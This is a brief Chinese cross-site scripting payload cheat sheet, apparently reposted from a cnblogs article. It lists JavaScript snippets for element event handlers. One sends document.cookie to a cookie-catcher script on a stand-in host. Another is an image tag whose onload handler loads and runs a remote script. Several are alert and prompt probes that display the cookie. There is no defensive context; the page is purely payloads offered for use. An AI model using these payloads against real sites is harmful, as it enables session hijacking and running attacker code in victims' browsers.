xsspayload

元素on事件:

prompt(document.cookie)

document.location= "http://www.example.com/cookie_catcher.php?c=" + document.cookie

console.log(document.cookie)

alert(document.cookie)

<img src="xxx" onload="$.getScript`https://www.xxx.com/test.js`" whdth="50">

原文地址:https://www.cnblogs.com/huim/p/10077393.html